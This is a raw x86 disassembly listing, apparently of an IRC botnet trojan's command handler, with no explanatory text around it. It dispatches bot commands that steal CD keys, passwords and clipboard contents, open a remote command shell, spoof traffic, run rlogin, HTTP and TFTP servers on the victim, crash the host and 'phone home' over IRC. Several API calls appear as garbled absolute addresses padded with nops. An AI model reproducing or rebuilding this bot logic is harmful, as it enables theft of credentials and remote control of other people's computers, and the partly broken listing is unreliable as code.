		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8BC
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8AC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C898
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C788
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C71C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C620
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_42910C


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2680000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42C4A4


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C468
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B0


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C348
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
		push	0Ah
